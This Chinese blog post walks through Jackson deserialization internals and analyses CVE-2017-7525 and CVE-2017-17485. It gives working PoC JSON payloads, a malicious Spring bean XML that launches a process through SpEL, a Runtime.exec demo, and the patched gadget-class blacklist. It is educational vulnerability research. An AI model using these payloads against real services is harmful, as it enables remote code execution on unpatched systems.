Diggid's Blog

Jackson 反序列化系列汇总

字数统计: 11.8k阅读时长: 56 min
2021/07/27 Share

前言

继续肝Java经典的反序列化漏洞,这次是和FastJson类似的Jackson反序列化漏洞。其中的一条JDOM XSLTransformer利用链在weblogic XMLDecoder反序列化的CVE-2019-2725中也有类似的利用。所以顺便学了。

Jackson 简单使用

简介

基本介绍

  • Jackson是一个开源的Java序列化和反序列化工具,可以将Java对象序列化为XML或JSON格式的字符串,以及将XML或JSON格式的字符串反序列化为Java对象。注意这里比Fastjson多的一个功能点是可以序列化XML
  • Spring Boot Web 组件默认使用的是 jackson
  • gson 和 fastjson 使用时只需要导入一个 jar 包(或者一个依赖)即可,而 jackson 却不是全部集成在一个 jar (一个应用)内,而是分为不同的功能模块(下面的依赖基本满足开发)
  • 其中 jackson-databind 内部依赖了 jackson-annotations 与 jackson-core,所以 Maven 应用时,只要导入 databind 一个,则同时也导入了 annotations 与 core 依赖
  • Jackson 提供三种不同的方法来操作 JSON
  1. 流式API:使用 Stream(流) 的方式对 Json 的每一个组成部分进行最细粒度的控制,JsonParser 读取数据,JsonGenerator 写入数据。

  2. 树模型:将 JSON 文件在内存里以树的形式表示,通过 JsonNode 处理单个Json节点,类似于 XML 的 DOM 解析器。(常用)

  3. databind 模块:ObjectMapper 读/写 JSON 是 POJO 序列化与反序列化 json 最方便的方式。(常用)

使用细节

这部分参考https://blog.csdn.net/wangmx1993328/article/details/88598625

  • 默认情况下,ObjectMapper 在序列化对象时,将实体所有的字段一 一序列化,无论这些字段是否有值,是否为 null
  • 如果对象的某个字段(属性)是一个接口类型且该接口类没有提供 getter 方法,则无法序列化(会报错)。
  • Spring Boot Web 组件默认使用 jackson 进行对象的序列化与反序列化,即页面传入的参数,会自动反序列化为后台对象,后台传给前端的对象,也会序列化后输出。所以需要注意返回给页面的对象默认不能使用 Jackson 以外的 Json 库序列化,比如返回一个 Gson 的 JsonObject 给前端,则会报错,因为显然 Jackson 序列化时会失败

依赖

  • jackson-annotations-2.7.9
  • jackson-core-2.7.9
  • jackson-databind-2.7.9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>

ObjectMapper 序列化对象

序列化

方法 说明
String writeValueAsString(Object value) 用于将任何 Java 对象序列化为 json 字符串,默认值为null(null -> null)
byte[] writeValueAsBytes(Object value) 将 java 对象序列化为 字节数组
writeValue(File resultFile, Object value) 将 java 对象序列化并输出指定文件中
writeValue(OutputStream out, Object value) 将 java 对象序列化并输出到指定字节输出流中
writeValue(Writer w, Object value) 将 java 对象序列化并输出到指定字符输出流中

反序列化

方法 说明
从给定的 JSON 字符串反序列化为 Java 对象;
T readValue(String content, Class<T> valueType) content 为空或者为 null,都会报错
valueType 表示反序列化的结果对象,比如Person.class等
T readValue(byte[] src, Class<T> valueType) 将 json 内容的字节数组反序列化为 java 对象
T readValue(File src, Class<T> valueType) 将本地 json 内容的文件反序列化为 java 对象
T readValue(InputStream src, Class<T> valueType) 将 json 内容的字节输入流反序列化为 java 对象
T readValue(Reader src, Class<T> valueType) 将 json 内容的字符输入流反序列化为 java 对象
T readValue(URL src, Class<T> valueType) 通过网络 url 地址将 json 内容反序列化为 java 对象。这个比较危险

Demo

  • 定义一个User类
1
2
3
4
5
6
7
8
9
10
11
12
package example;

public class User {
public int id;
public String username;
public String password;

@Override
public String toString(){
return String.format("User.id = %d\nUser.username=%s\nUser.password=%s", id, username, password);
}
}
  • 写一个Demo1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package example;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Demo1 {
public static void main(String[] args) throws IOException {
User user = new User();
user.id = 1;
user.username = "diggid";
user.password = "lalala";
ObjectMapper mapper = new ObjectMapper();
String ser = mapper.writeValueAsString(user);
User obj = mapper.readValue(ser, User.class);
System.out.println(ser);
System.out.println(obj);
}
}

image-20210728104110354

解决多态问题

根据上面的readValue方法的第二个参数指定具体的类,反序列化是可以恢复出具体的类对象的。而这里的多态问题是指类的属性的反序列化问题:如果一个类的属性是一个多态类(如Object、抽象类等),该多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例

解决办法

  • DefaultTyping
  • @JsonTypeInfo注解

DefaultTyping

Jackson提供ObjectMapper#enableDefaultTyping方法来设置对应的DefaultTyping值,一共有四个值,适用范围依次包含扩大,这个设置是针对属性类型的

DefaultTyping 说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE(无参时默认) 属性的类型为Object、Interface、AbstractClass(抽象类)
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

设置了具体的值后,当一个多态类的子类(比如Object类的自定义子类Hacker)进行序列化时,会将该属性值Hacker类的完全限定名(如com.example.Hacker)写到序列化json中,反序列化时则恢复具体的类对象。

具体的例子可以参考:https://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/#DefaultTyping

完整Demo

  • Demo2.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package example;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.util.HashMap;

public class Demo2 {
public static void main(String[] args) throws IOException {
User user = new User();
user.id = 1;
user.username = "diggid";
user.password = "lalala";
user.object = new Hacker();
user.sex = new SexImpl();
user.abstractCls = new AbstractObj();
user.objArr = new Hacker[]{new Hacker(), new Hacker()};
user.hacker = new Hacker();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
String ser = mapper.writeValueAsString(user);
User obj = mapper.readValue(ser, User.class);
System.out.println(ser);
System.out.println(obj);
}
}
  • User.java(改写前面的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package example;

import java.lang.reflect.Array;
import java.util.HashMap;
import java.util.Map;

public class User {
public int id;
public String username;
public String password;
public Object object;
public Sex sex;
public Object objArr;
public AbstractCls abstractCls;
public Hacker hacker;

@Override
public String toString(){
return String.format(
"User.id=%d\nUser.username=%s\nUser.password=%s\nUser.object=%s\nUser.sex=%s\nUser.abstractCls=%s\nUser.objArr=%s\nUser.unser=%s", id, username, password, object, sex, abstractCls, objArr, hacker);
}
}
  • Sex接口和SexImpl实现类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 
package example;

public interface Sex {
void setSex(int sex);
int getSex();
}

//
package example;

public class SexImpl implements Sex{
int sex;

@Override
public void setSex(int sex) {
this.sex = sex;
}

@Override
public int getSex() {
return this.sex;
}
}
  • AbstractCls抽象类和AbstractObj子类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//
package example;

public abstract class AbstractCls {
public abstract void setId(int id);

public abstract int getId();
}

//
package example;

public class AbstractObj extends AbstractCls{
public int id;

@Override
public void setId(int id) {
this.id = id;
}

@Override
public int getId() {
return this.id;
}

}
  • Hacker.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package example;

public class Hacker {
public String name = "aaa";

public Hacker(){
System.out.println("调用Hacker类的构造方法");
}
public void setName(String name) {
System.out.println("调用Hacker类的setName");
this.name = name;
}
public String getName(){
System.out.println("调用Hacker类的getName");
return this.name;
}
}
  • 输出结果
1
2
3
4
5
6
7
8
9
{"id":1,"username":"diggid","password":"lalala","object":["example.Hacker",{"name":"hacker"}],"sex":["example.SexImpl",{"sex":0}],"objArr":["[Lexample.Hacker;",[{"name":"hacker"},{"name":"hacker"}]],"abstractCls":["example.AbstractObj",{"id":0}],"hacker":{"name":"hacker"}}
User.id=1
User.username=diggid
User.password=lalala
User.object=example.Hacker@61832929
User.sex=example.SexImpl@29774679
User.abstractCls=example.AbstractObj@3ffc5af1
User.objArr=[Lexample.Hacker;@5e5792a0
User.hacker=example.Hacker@26653222

@JsonTypeInfo注解

可以通过注解的方式进行类型绑定,有五个值

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

写一个User2类配合Demo1运行结果如下表格

  • User2.java
1
2
3
4
5
6
7
8
9
10
11
12
package example;

import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class User2 {
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object obj;

public String toString(){
return String.format("%s", obj);
}
}
  • Demo3.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package example;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Demo3 {
public static void main(String[] args) throws IOException {
User2 user = new User2();
user.obj = new Hacker();
ObjectMapper mapper = new ObjectMapper();
String ser = mapper.writeValueAsString(user);
System.out.println(ser);
User2 obj = mapper.readValue(ser, User2.class);
System.out.println(obj);
}
}
  • 结果
注解值 输出 说明
JsonTypeInfo.Id.NONE {“obj”:{“name”:”hacker”}}
{name=hacker}
和没有设置任何选项的输出结果一样。无法反序列化出正确对象
JsonTypeInfo.Id.CLASS {“obj”:{“@class”:”example.Hacker”,”name”:”hacker”}}
example.Hacker@ae45eb6
obj属性多了@class存放类对象的完全限定名,因此可以反序列化出正确对象
JsonTypeInfo.Id.MINIMAL_CLASS {“obj”:{“@c”:”example.Hacker”,”name”:”hacker”}}
example.Hacker@27efef64
相较于上一个缩短了@class@c可以反序列化出正确对象
JsonTypeInfo.Id.NAME {“obj”:{“@type”:”Hacker”,”name”:”hacker”}}
异常:Exception in thread “main” com.fasterxml.jackson.databind.JsonMappingException
obj属性多了@type只存放类名,因此无法序列化出正确对象,回抛出异常
JsonTypeInfo.Id.CUSTOM Exception in thread “main” java.lang.IllegalStateException: Do not know how to construct standard type id resolver for idType: CUSTOM 需要用户自定义解析器,直接运行抛出异常

Jackson 反序列化调试

Demo

下面的调试基于多态问题,因为漏洞的成因和这个有关。

已知结论:Jackson反序列化时会调用要被恢复的对象的构造方法和setter方法。

  • User4.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package example;

public class User4 {
public int id;
public Object obj;
public User4(){
System.out.println("调用User4类的构造方法");
}

public void setId(int id) {
System.out.println("调用User4类的setId");
this.id = id;
}

public int getId() {
System.out.println("调用User4类的getId");
return id;
}

public void setObj(Object obj) {
System.out.println("调用User4类的setObj");
this.obj = obj;
}

public Object getObj() {
System.out.println("调用User4类的getObj");
return obj;
}
}
  • Demo4.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package example;

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Demo4 {
public static void main(String[] args) throws IOException {
User4 user4 = new User4();
user4.id = 1;
user4.obj = new Hacker();
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String ser = mapper.writeValueAsString(user4);
System.out.println(ser);
User4 obj = mapper.readValue(ser, User4.class);
System.out.println(obj);
}
}
  • 运行结果

image-20210728144447158

调试分析

将断点打在User4 obj = mapper.readValue(ser, User4.class);以及各个类的构造方法和setter方法上。

直接跟进到ObjectMapper#_readMapAndClose,该方法处理是jackson处理反序列化的整个生命周期。红框上半部分进行一系列初始化并获取具体的JsonDeserializer。获取JsonDeserializer的过程大致为:

  • DeserializerCache._cachedDeserializers缓存中获取,该属性是一个ConcurrentHashMap
  • 缓存中没有则调用DeserializerCache#_createAndCacheValueDeserializer -> DeserializerCache#_createAndCache2 -> DeserializerCache#_createDeserializer来处理
    • 从序列化类的注解中获取DeserializerCache#findDeserializerFromAnnotation
    • 如果没有则调用DeserializerCache#modifyTypeByAnnotation获取type,由于这里是我们自定义的User4类,所以type为SimpleType对象。
    • 继续调用DeserializerCache#_createDeserializer2,这里比较清楚,根据不同的type类型来获取。最后会调用factory.createBeanDeserializer来获取到BeanDeserializer
  • 获取完Deserializer之后,回到_createAndCache2,给this._cachedDeserializers.put(type, deser);绑定type和Deserializer到缓存中,最后返回到_readMapAndClose

image-20210728152401336

继续调用vanillaDeserialize()

image-20210728155034203

先调用createUsingDefault()函数来调用指定类的无参构造函数来生成类实例

image-20210728155239780

image-20210728155217883

image-20210728155302513

image-20210728155321544

image-20210728155435699

生成实例bean,即User4对象,接下来do-while循环解析bean对象的属性,对于Object及其子类的属性类型,会调用相应属性类的构造和setter方法。propName为属性名,然后根据propName和bean获取响应的属性解析器

image-20210728155727650

image-20210728155911585

这里的属性是User4.id获取的是MethodProperty。继续跟进deserializeAndSet

image-20210728160413560

再跟进deserialize,可以发现两个反序列化的逻辑,判断反序列化的内容是否携带类型,若是则调用deserializeWithType()函数解析,否则直接调用deserialize()函数解析。由于属性id是int类型,其解析器是NumberDeserializers#IntegerDeserialize,调用deserialize方法。

image-20210728160459372

image-20210728161222660

得到属性值之后回到deserializeAndSet,调用setter来设置属性。

image-20210728162352049

image-20210728175630900

下一个继续解析Object obj属性,也就是反序列化恢复Hacker类对象,按照前面的分析,这个会进入deserializeWithType的逻辑。该逻辑下有几个case。根据token值会进入到case5image-20210728162706849

然后AsArrayTypeDeserializer#deserializeTypedFromAny -> this._deserialize。获取到typeId即为”example.Hacker”,之后根据这个完全限定类名找到对应的解析器,这里也是BeanDeserializer,过程和一开始找User4类的解析器差不多。

image-20210728174820165

之后就是和前面一样BeanDeserializer#deserialize来解析Hacker对象的属性字段。

image-20210728175214567

image-20210728175302097

image-20210728175237764

image-20210728175335196

image-20210728175348508

设置完Hacker对象的属性后,将Hacker对象返回,一路返回到设置obj属性值的deserializeAndSet方法,设置obj属性值为返回的Hacker对象。

image-20210728180013049

image-20210728180435839

最后从vanillaDeserialize返回bean,即User4对象。至此所有的反序列化流程就结束了。

image-20210728180803169

总结

  1. 先调用通过无参的构造方法生成目标类实例
  2. 根据属性值是否是数组的形式即是否带类名(如"object":["example.Hacker",{"name":"hacker"}])来分别调用不同的函数来设置实例的属性值。其中会调用Object类型属性的构造方法和setter方法

Jackson 反序列化漏洞

原理

满足下面条件之一则存在漏洞

  • 调用了ObjectMapper.enableDefaultTyping()函数。
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS或JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

当使用的JacksonPolymorphicDeserialization有上述配置问题时,Jackson反序列化就会调用属性所属类的构造方法和setter方法,在某些情况下,还可以触发无setter属性的getter。如果序列化数据可控,则可配合其他Gadgets来实现RCE、SSRF等漏洞

Demo

最简单的例子就是在目标对象或目标对象为类的属性的构造方法或setter中本身就存在危险操作,但是实际开发肯定不会这么写。

  • User5.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package example;

public class User5 {
public int id;
public User5(){
/*
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "open /System/Applications/Calculator.app"});
}catch (Exception e){}
*/
}
public void setId(int id) {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "open /System/Applications/Calculator.app"});
}catch (Exception e){}
}
}
  • Demo5.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package example;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Demo5 {
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String ser = "{\"id\":0}";
System.out.println(ser);
User5 obj = mapper.readValue(ser, User5.class);
System.out.println(obj);
}
}

image-20210728214017085

CVE-2017-7525 - TemplatesImpl

Jackson也有TemplatesImpl利用链的Gadgets,其调用getOutputProperties() -> defineTransletClasses()恢复字节码对象在构造方法中触发RCE。且Jackson解析_bytecodes也会base64解码。

影响版本 & 限制 & 依赖

版本:

  • Jackson 2.6系列 < 2.6.7.1
  • Jackson 2.7系列 < 2.7.9.1
  • Jackson 2.8系列 < 2.8.8.1

JDK限制:

  • jdk < 7u80

依赖:

jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9

POC

1
2
3
4
5
6
7
8
9
10
11
12
{
"object":[
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes":["Base64编码的字节码"],
"transletName":"xxx",
"outputProperties":{}
}
]
}

["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", {"transletBytecodes":["Base64编码的字节码"],"transletName":"xxx","outputProperties":{}}]

属性解析器 SettableBeanProperty

在前面的调试分析中,在BeanDeserializer#vanillaDeserialize中会调用prop.deserializeAndSet(p, ctxt, bean);来设置属性值,在其中是否调用属性的getter或setter方法,取决于prop是哪种类型的属性解析器,即SettableBeanProperty的子类,而prop值的设定又取决于具体类的属性构造,具体的逻辑在以下两个方法中。

  • POJOPropertiesCollector#collectAll

调用几个方法_addFields _addMethods _addCreators _addInjectables _removeUnwantedProperties处理props(HashMap存储属性名和属性引用POJOPropertyBuilder),会处理每一个属性引用POJOPropertyBuilder_getters_setters_fields等几个字段值。最后设置propsbeanDesc._properties中。

从前面说到的factory.createBeanDeserializer开始的调用栈如下

1
2
3
4
5
6
7
8
9
10
11
collectAll:283, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
getPropertyMap:248, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
getProperties:155, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
_properties:142, BasicBeanDescription (com.fasterxml.jackson.databind.introspect)
findProperties:217, BasicBeanDescription (com.fasterxml.jackson.databind.introspect)
_findCreatorsFromProperties:330, BasicDeserializerFactory (com.fasterxml.jackson.databind.deser)
_constructDefaultValueInstantiator:312, BasicDeserializerFactory (com.fasterxml.jackson.databind.deser)
findValueInstantiator:252, BasicDeserializerFactory (com.fasterxml.jackson.databind.deser)
buildBeanDeserializer:221, BeanDeserializerFactory (com.fasterxml.jackson.databind.deser)
createBeanDeserializer:143, BeanDeserializerFactory (com.fasterxml.jackson.databind.deser)
...
  • BeanDeserializer#addBeanProps

根据前面设置的beanDesc._properties来获取每个属性的属性解析器SettableBeanProperty,存储到BeanDeserializerBuilder._properties

属性解析器有这些:

image-20210729101206095

image-20210729135900306

这里的逻辑比较复杂,有兴趣可以自己跟一下,这里直接给出结论:

  • 先判断属性是否可见(visible),判断依据如下,满足其中之一则可见。

关于@JsonCreator可以参考https://www.tutorialspoint.com/jackson_annotations/jackson_annotations_jsoncreator.htm

image-20210729151621225

  • 如果不可见,则会从props(即beanDesc._properties)中删除该属性,也就意味着后续反序列化不会处理这个属性,抛出异常。因此要想调用属性的getter或setter,必须保证属性可见

类属性getter、setter与属性解析器SettableBeanProperty的关系,如下表(不完全)

属性解析器 属性构造
MethodProperty 有setter
FieldProperty public、无setter
SetterlessProperty private、无setter、有public getter、getter的返回值的类型是Map或Collection的子类
CreatorProperty 构造方法使用@JsonCreator,参数@JsonProperty("theName"),则新增一个属性theName

分析

这个链子比较简单,但前面分析的获取SettableBeanProperty比较复杂。

经过POJOPropertiesCollector#collectAll方法中的处理,会将_bytecodes这些不可见的属性裁剪掉。留下可见的属性,其中包括POC中传入的几个属性值。

这也是为什么POC中的属性值要写transletBytecodes而不写_bytecodes,如果写第二个:private修饰,且没有get_bytecodesset_bytecodes这样的方法(根据方法名称去掉前面的get或set找属性值,具体逻辑在_addMethods中),所以属性不可见,因此_bytecode会被去掉。

最终剩下六个POJOPropertyBuilder。特别注意outputProperties属性的,其_fields_setters都是null,但是有public getter,所以该属性是可见的,根据上面的分析,会得到SetterlessProperty,最后调用getOutputProperties触发漏洞。

image-20210729112809362

高版本JDK限制 - _tfactory

TemplatesImpl利用链通常需要设置三个变量值非空来使得利用链能正常进行:_name、_bytecodes、_tfactory。但是根据不同jdk版本TemplatesImpl#defineTransletClasses方法的不同写法,_tfactory可以不用设置

  • jdk7u13

image-20210729164907694

  • jdk7u80

image-20210729165226288

所以在常见的链子中,如CC3,设置_tfactory是比较稳妥的。

但是对于Jackson,则无法设置_tfactory属性,因为_tfactory属性值是private修饰的,且没有getter和setter,所以是不可见的,同时,不像_name,有setTransletName来设置this._name。所以通过序列化字符串来设置_tfactory属性。

image-20210729171027624

修复

换成2.7.9.1版本,运行报错

1
com.fasterxml.jackson.databind.JsonMappingException: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons

在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用**checkIllegalTypes()**函数提取当前类名,然后使用黑名单进行过滤。

在BeanDeserializerFactory中,存在默认的黑名单DEFAULT_NO_DESER_CLASS_NAMES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599]
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");//以上都是CC链
s.add("org.codehaus.groovy.runtime.ConvertedClosure"); //groovy的链子
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory"); //JNDI注入
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //TemplatesImpl
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

CVE-2017-17485 - 远程加载恶意spring bean xml

基于org.springframework.context.support.ClassPathXmlApplicationContext利益链,通过jackson-databind来滥用Spring的SpEL表达式注入漏洞来触发Jackson反序列化漏洞。

影响版本 & 限制 & 依赖

版本

  • Jackson 2.7系列 < 2.7.9.2
  • Jackson 2.8系列 < 2.8.11
  • Jackson 2.9系列 < 2.9.4

限制:

不受JDK限制,可直接在JDK1.8上运行

依赖:

Jackson原生依赖(databind的三个) + 可解析SpEL表达式的依赖(spring的四个:core、beans、context、expression和commons-logging)

POC

  • 序列化数据

恶意类可以是以下支持解析SpEL的AbstractApplicationContext的子实现类

image-20210730172515512

1
2
3
4
["org.springframework.context.support.ClassPathXmlApplicationContext", "http://127.0.0.1/spel.xml"]
["org.springframework.context.support.FileSystemXmlApplicationContext", "http://127.0.0.1/spel.xml"]
// 需要groovy依赖
["org.springframework.context.support.GenericGroovyApplicationContext", "http://127.0.0.1/spel.xml"]
  • 恶意的spel.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 单参数
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

// 多参数:这里有个坑点,后面有解释,看poc应该能猜出来
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg type="java.util.List">
<list>
<value>open</value>
<value>/System/Applications/Calculator.app</value>
</list>
</constructor-arg>
<property name="any" value="#{ pb.start() }"/>
</bean>
</beans>

Spring xml配置bean

官方文档:https://docs.spring.io/spring-framework/docs/4.2.x/spring-framework-reference/html/xsd-configuration.html

参考博客:https://blog.csdn.net/lzc4869/article/details/78953897

https://sites.google.com/site/devlibrary/kai-fa-ji-qiao/spring-xml-pei-zhi-de12ge-ji-qiao

分析

根据POC我们需要关注几个点:

  1. **不依赖目标对象的某个属性为恶意类(第一个链子的Victim1.object属性为恶意类)**,而是直接传入["类名","参数"],Jackson如何处理
  2. ClassPathXmlApplicationContext是哪个方式(构造方法、setter、getter,和问题1关联)触发了漏洞?触发了什么漏洞?(猜测是远程加载xml然后解析成bean最后触发spel)

Jackson解析部分

如果熟悉前面Jackson解析流程的话,我们提到在调用具体的属性解析器的deserializeAndSet->deserialize方法时,其中会根据属性是否具有类型来选择deserializeWithTypedeserialize。所以调试过程中肯定会经过某个属性解析器的deserialize方法。

和之前的分析一样,在ObjectMapper#_readMapAndClose方法中,包含了Jackson解析的整个生命周期,将Jackson解析部分拆分为两个部分来看

  • 前半部分:获取JsonDeserializer,之前分析的都是Java Bean类,然后类中有属性是其他恶意类,获取的是BeanDeserializer。而这里就不太一样,传入的是["类名","参数"]的形式,获取到的是TypeWrappedDeserializer
  • 后半部分:调用JsonDeserializer#deserialize()解析序列化内容。

image-20210730141002768

前半部分就不多分析了,知道是获取TypeWrappedDeserializer就可以了。跟一下后半部分TypeWrappedDeserializer#deserialize

image-20210730141349747

这里的typeDeserializerAsArrayTypeDeserializer类(序列化数据的形式就像个数组)。

![image-20210730141419672](/Users/a861881/Library/Application Support/typora-user-images/image-20210730141419672.png)

跟进到_deserialize中,熟悉的JsonDeserializer<Object> deser = _findDeserializer(ctxt, typeId);。因此这里是以ClassPathXmlApplicationContext作为目标对象获取其JsonDeserializer,这里获取是BeanDeserializer

image-20210730141751116

所以后半部分解析和前面分析的BeanDeserializer#deserialize就差不多了,简单跟一下

image-20210730142050722

这里和前面不一样,调用的是_deserializeOther而不是vanillaDeserialize。因为没有json的开始标志{,所以p.isExpectedStartObjectToken是false。

image-20210730142326087

image-20210730142203981

然后一路调用栈

1
2
3
4
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)

image-20210730142531766

就会触发ClassPathXmlApplicationContext的构造方法了,特别要注意的是,这个构造方法是带参数的,和前面默认调用的无参构造方法不同,所以["恶意类","参数1","参数2"]的序列化形式,可以直接调用恶意类的带参构造方法,这也是本次漏洞触发的原因。

image-20210730143120847

image-20210730143141351

ClassPathXmlApplicationContext恢复bean部分

接下来就是ClassPathXmlApplicationContext这部分Gadgets了,概括一下就是从远程获取spel.xml,然后进行解析,先恢复bean对象,然后再解析其构造方法的参数,然后调用构造方法,最后调用#{pb.start()}触发RCE,所有解析bean xml标签中value属性或value标签的过程都会调用spel表达式来解析,所以这一部分也可以理解为spel表达式注入漏洞。

refresh()开始跟进,经过一些初始化后,调用invokeBeanFactoryPostProcessors来注册bean工厂类。

一路跟进,调用栈

1
2
3
4
5
doGetBeanNamesForType:421, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBeanNamesForType:391, DefaultListableBeanFactory (org.springframework.beans.factory.support)
invokeBeanFactoryPostProcessors:84, PostProcessorRegistrationDelegate (org.springframework.context.support)
invokeBeanFactoryPostProcessors:693, AbstractApplicationContext (org.springframework.context.support)
refresh:531, AbstractApplicationContext (org.springframework.context.support)

在doGetBeanNamesForType方法中,通过isFactoryBean来判断当前beanName是否为FactoryBean,beanName参数值为”pb”,mbd参数中识别到bean标签中的类为java.lang.ProcessBuilder

image-20210730144001000

继续跟进,predictBeanType来预测bean类型

image-20210730144105193

继续一路调用栈

1
2
3
4
5
doResolveBeanClass:1409, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveBeanClass:1372, AbstractBeanFactory (org.springframework.beans.factory.support)
determineTargetType:670, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
predictBeanType:637, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
isFactoryBean:1489, AbstractBeanFactory (org.springframework.beans.factory.support)

doResolveBeanClass中,准备调用evaluateBeanDefinitionString来解析执行<bean>标签字符串定义的内容。

image-20210730144221140

image-20210730144422587

跟进到StandardBeanExpressionResolver#evaluate方法中,该方法使用SpEL表达式语法来解析。

image-20210730144740169

注册完之后,返回到refresh()方法中,继续调用finishBeanFactoryInitialization来初始化所有bean对象

image-20210730145114221

一路跟进到preInstantiateSingletons。由于只有一个bean标签,所以只需要解析一个bean对象(“pb”)。由于ProcessBuilder不是工厂类(ObjectFactory子类),所以直接调用到getBean()

image-20210730145225360

image-20210730145611766

然后一路调用栈到ConstructorResolver#autowireConstructor中去初始化生成bean对象。其中会用Spel表达式处理构造方法的参数。

1
2
3
4
5
6
7
8
9
10
autowireConstructor:148, ConstructorResolver (org.springframework.beans.factory.support)
autowireConstructor:1270, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBeanInstance:1127, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:545, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:502, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
